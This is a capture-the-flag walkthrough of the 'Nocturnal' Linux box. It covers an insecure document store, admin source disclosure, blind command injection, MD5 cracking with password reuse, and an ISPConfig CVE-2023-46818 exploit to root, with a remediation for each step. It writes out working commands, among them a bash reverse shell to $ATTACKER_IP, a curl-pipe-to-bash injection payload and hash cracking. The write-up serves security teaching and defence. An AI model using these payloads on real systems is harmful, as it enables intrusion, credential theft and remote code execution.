← all walkthroughs

Nocturnal

Linux· Easy
owned
2026-07-09
time to own
39m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Nocturnal is a PHP note-taking application, and everything up to root is a question of who is allowed to ask for what. Its document store serves any file whose name you supply, without checking whose it is, and one user's document holds a temporary password in plain text inside an .odt — which is a zip archive, so the password is not even encoded.

That account reaches an administrative page whose ?view= parameter prints the application's own source, and the source shows a backup routine that pastes the submitted password into a shell command after sanitising it for path traversal and nothing else. The injection reflects no output, so it is driven blind, with the target fetching a script from a listener of mine.

From that shell the SQLite database named in the source gives up unsalted MD5 hashes; one cracks, and the same string is a system password, which turns a web compromise into an SSH session. Root is a control panel listening on loopback — invisible to a port scan, one SSH forward away — running as root at a version whose language editor writes PHP into a file the panel later includes.

Command conventions

The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<the-password-you-recovered, for amanda>"
export PASSWORD2="<the-password-you-recovered, for tobias>"
export PASSWORD3="<the-password-you-recovered>"
export CHOSEN_PASSWORD="<a-password-you-choose>"

Some commands also carry a value in angle brackets — <a-name-you-choose>, <the-edb-id-from-the-line-above>, <the-hash-for-tobias>, <the-path-just-found>, <the-script-just-copied> — which you replace inline with what the step before it turned up.

Attack path — how the box was taken

1EnumerationNetwork service enumeration (T1046)
Mapped the application and registered an account of my own
A service version scan against the target revealed two open ports: SSH on 22 (OpenSSH 8. Browsing it names the whole application in five files: login.php, register.php, dashboard.php, view.php and admin.php. Registration is open, so the first thing to have is an ordinary account — most of what follows is reachable only from inside a session, and none of it requires the session to be anyone in particular.
The host served a custom PHP application on the vhost nocturnal.htb with login.php, register.php, dashboard.php, view.php and admin.php; registration completed and returned a working session.
Exact commands 3
shell

Two ports, and the web server redirects to a vhost.

$ nmap -sV -sC -p 22,80 --min-rate 5000 $TARGET
shell

The name has to resolve locally before the vhost answers.

$ echo "$TARGET nocturnal.htb" | sudo tee -a /etc/hosts
shell

An account of my own, which is all the document store asks for.

$ curl -sS -c jar.txt -X POST http://nocturnal.htb/register.php --data-urlencode 'username=<a-name-you-choose>' --data-urlencode "password=$CHOSEN_PASSWORD"
2Credential AccessInsecure direct object reference (T1530)
Asked the document store for another user's file
The dashboard lists the files I have uploaded and serves them through view.php by name. The name is all it checks. It does not ask whether the file belongs to the session requesting it, so the store is readable by anyone who can guess a filename — and filenames here are a username and a word. Guessing needs two lists and no cleverness: the account names the application already showed me, against the handful of words people call a document about my own account. amanda_privacy.odt answers. An .odt is a zip archive, and the text lives in content.xml, which means the password inside it is not even encrypted at rest — it is a string in a file in an archive.
Requesting amanda_privacy.odt through the document store returned the file, and its content.xml carried a plaintext temporary password for amanda.
Exact commands 3
shell

Two short lists. A 200 among the 404s is the whole finding.

$ for u in admin amanda tobias; do for f in privacy credentials passwords notes; do printf '%s_%s.odt ' "$u" "$f"; curl -sS -b jar.txt -o /dev/null -w '%{http_code}\n' "http://nocturnal.htb/view.php?username=$u&file=${u}_${f}.odt"; done; done
shell

Downloaded with my own session, which the store never questioned.

$ curl -sS -b jar.txt -o amanda_privacy.odt "http://nocturnal.htb/view.php?username=amanda&file=amanda_privacy.odt"
shell

An .odt is a zip. content.xml is the document, tags and all -> the temporary password in plain text.

$ unzip -p amanda_privacy.odt content.xml | sed -e 's/<[^>]*>/ /g' | tr -s ' '
FixCheck who owns a file before serving itHigh
WeaknessThe document store served any file whose name was supplied, without checking that it belonged to the session asking for it. Filenames were predictable — an account name and a word — so every user's documents were readable by every other user, and one of them held a password in plain text.
FixResolve documents through an identifier owned by the session rather than through a name supplied by the caller, and check ownership on every read. Store uploads outside the web root, and give them names that carry no meaning.
3DiscoverySource code disclosure through an administrative viewer (CWE-540)
Logged in as amanda and read the application's source through its own admin page
The password works on the web application and not over SSH, which is worth trying and worth noting: a temporary password issued by an application is often only an application password. What amanda's session adds is admin.php, allow-listed to two accounts, and admin.php carries a ?view= parameter that prints a file's source. Pointing it at the application's own files turns the box inside out: the backup handler shells out with a value the form supplies, sanitised against path traversal and against nothing else, and view.php names the SQLite database the application keeps its users in.
The recovered password authenticated as amanda through login.php but was refused over SSH; admin.php rendered for that session and its ?view= parameter returned the source of admin.php and view.php, including the backup handler's shell invocation and the database path ../nocturnal_database/nocturnal_database.db.
Exact commands 3
shell

The application accepts it. SSH with the same value does not, which is the answer to the obvious next idea.

$ curl -sS -c amanda.jar -X POST http://nocturnal.htb/login.php --data-urlencode 'username=amanda' --data-urlencode "password=$PASSWORD"
shell

The page reads files, including itself. The Create Backup handler is at the bottom of it.

$ curl -sS -b amanda.jar "http://nocturnal.htb/admin.php?view=admin.php"
shell

Where the users are stored, and what the sanitiser actually removes.

$ curl -sS -b amanda.jar "http://nocturnal.htb/admin.php?view=view.php" | grep -iE 'sqlite|\.db|sanitize'
FixDo not put passwords in documents, and do not let an admin page read sourceCritical
WeaknessA temporary password was issued inside an .odt file, which is a zip archive holding plain text, and the administrative page would print the application's own source to anyone whose session reached it — including the backup handler's shell invocation and the path to the user database.
FixDeliver temporary credentials through a channel that expires them, and force a change on first use. Remove the file-viewing parameter, or bind it to an allow-list of documents that are meant to be read; an application's source is not one of them.
4ExploitationOS command injection (T1059.004)
Injected a command through the backup password field and answered out of band
The backup feature builds a shell command by pasting the submitted password into a zip invocation. SanitizeFilePath() removes the things that would let a path escape its directory; it does not remove the things that end one shell word and start another. A newline does both. Nothing comes back in the response, so this is blind. A blind injection is only awkward until the payload is given somewhere to speak: point it at a listener of mine and the target's own outbound connection carries the output. The first request proves execution, the second fetches a script and runs it.
The backup endpoint reflected no output; a payload injected through the password parameter reached an local listener, and a second fetched and executed a script, giving a shell as www-data.
Exact commands 5
shell

--directory, because the shell's working directory is not what serves the file.

$ python3 -m http.server 8000 --directory /tmp
shell

Written where the server above is looking.

$ printf "#!/bin/bash\nbash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1\n" > /tmp/rev.sh
shell

The listener the script connects back to.

$ nc -lvnp 4444
shell

Proof first: a request arriving at my own web server is the only output a blind injection gives.

$ curl -sS -b amanda.jar -X POST http://nocturnal.htb/admin.php --data-urlencode $'backup=1&password=x\ncurl http://'"$ATTACKER_IP"$':8000/ping\n'
shell

The newline ends zip's -P argument; everything after it is a command of mine.

$ curl -sS -b amanda.jar -X POST http://nocturnal.htb/admin.php --data-urlencode $'backup=1&password=x\ncurl http://'"$ATTACKER_IP"$':8000/rev.sh|bash\n'
FixShell-quote backup parameters and replace shell invocation with a native PHP libraryCritical
WeaknessThe backup feature built a shell command by appending an unquoted, user-supplied POST value directly into a zip command string. Injecting a newline or tab character allowed an unauthorised user to append and execute arbitrary OS commands as the web server process.
FixReplace the shell_exec/exec-based zip invocation with PHP's native ZipArchive class, which accepts filenames as arguments rather than shell tokens and cannot be used for command injection. If a shell call is unavoidable, wrap every parameter with escapeshellarg() and validate that the password contains only permitted characters (no whitespace, no metacharacters). Run nginx and PHP-FPM as a dedicated low-privilege service account with outbound network access blocked by firewall rules.
5Lateral MovementCredentials from a password store, then valid accounts (T1555, T1078)
Read the user database the source named, and cracked what was in it
The source pointed at a SQLite file outside the web root, and the shell can read it directly. Its users table holds unsalted MD5 hashes — a choice that means a wordlist does the work rather than a cracking rig — and tobias's falls to rockyou in seconds. That password is also tobias's system password, which is the failure that matters here: an application's credential and a login credential should not be the same string, and when they are, a web compromise is a shell.
The SQLite database at ../nocturnal_database/nocturnal_database.db held MD5 password hashes; tobias's cracked against rockyou, and that plaintext authenticated over SSH as tobias, where the user flag was read.
Exact commands 4
shell

From the www-data shell. The path in the source is relative; this is where it actually sits.

$ find / -name 'nocturnal_database.db' 2>/dev/null
shell

Unsalted MD5, which is a wordlist away from plaintext.

$ sqlite3 <the-path-just-found> 'select username, password from users;'
shell

Mode 0 is raw MD5. The absence of a salt is what makes this quick.

$ hashcat -m 0 -a 0 <the-hash-for-tobias> /usr/share/wordlists/rockyou.txt
shell

The web password is the system password -> <user.txt>

$ sshpass -p "$PASSWORD2" ssh -o StrictHostKeyChecking=no tobias@$TARGET 'id; cat ~/user.txt'
FixEnforce unique credentials per service and disable SSH password authenticationHigh
Weaknesstobias used the same password for his web application account and his Linux system account. Once the web database was compromised, an unauthorised user gained SSH access with no additional effort — the web-app breach became a direct system breach.
FixMandate unique, randomly generated passwords for each service. Disable password-based SSH login entirely in /etc/ssh/sshd_config (set PasswordAuthentication no and restart sshd); require SSH key pairs for all interactive logins. Immediately rotate all credentials that appeared in the compromised SQLite database.
6Privilege EscalationAuthenticated web-panel code injection (CVE-2023-46818)
Reached root through the loopback ISPConfig panel (CVE-2023-46818)
Nothing on the outside of this host explains where root comes from. From tobias's session the listening sockets do: a web service bound to 127.0.0.1:8080, which nginx does not proxy and nmap could never have seen. It is ISPConfig 3.2.10p1, a hosting control panel, and forwarding the port back through the SSH session already held makes it a local page in my own browser. The panel's admin account takes the same password the database gave up, which is the third service that password now opens. And 3.2.10p1 sits inside the range affected by CVE-2023-46818: the language editor writes submitted translation records into a PHP file that the panel itself later includes, so an administrator can put PHP where PHP will run. ISPConfig runs as root, and the injected code inherits that — which is why the flag comes back through the panel rather than from a shell.
ISPConfig 3.2.10p1 answered on 127.0.0.1:8080 and accepted the admin account with the password recovered earlier; the version is inside the range affected by CVE-2023-46818, fixed in 3.2.11p1, and root.txt was captured.
Exact commands 6
shell

From tobias's session. A service on loopback is one the port scan could not reach.

$ ss -ltnp | grep 127.0.0.1
shell

The forward makes the target's loopback my own, on the same port.

$ ssh -L 8080:127.0.0.1:8080 tobias@$TARGET
shell

The same password again, on the panel this time. The cookie jar carries the session into the next request.

$ curl -sS -c isp.jar -X POST http://127.0.0.1:8080/index.php --data-urlencode 'username=admin' --data-urlencode "password=$PASSWORD" --data-urlencode 's_mod=login' --data-urlencode 's_pg=index'
shell

The language-editor injection has a published proof of concept; this is its Exploit-DB entry.

$ searchsploit -w ispconfig | grep -i '3\.2'
shell

Copies the script into the working directory rather than retyping the request shape by hand.

$ searchsploit -m <the-edb-id-from-the-line-above>
shell

It authenticates, writes the PHP into a language file and requests it back. The panel runs as root, so the command does -> <root.txt>

$ python3 <the-script-just-copied> http://127.0.0.1:8080 admin "$PASSWORD3" 'cat /root/root.txt'
FixPatch the control panel, and stop it sharing a password with the web applicationCritical
WeaknessA hosting control panel ran as root on 127.0.0.1:8080, at a version affected by CVE-2023-46818, with an admin password identical to one stored in the public web application's database. Binding it to loopback hid it from a port scan and from nothing else: any account with a shell on the host could forward the port, and one of them had the password.
FixUpgrade ISPConfig to 3.2.11p1 or later, which removes the language-editor injection, and disable the language editor where it is not used. Give the panel an admin credential that exists nowhere else, and require a second factor for it. Run the panel under its own account with a narrow sudo policy rather than as root, so an injection inside it is not immediately root on the host.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

Exposed services

22/tcp
80/tcp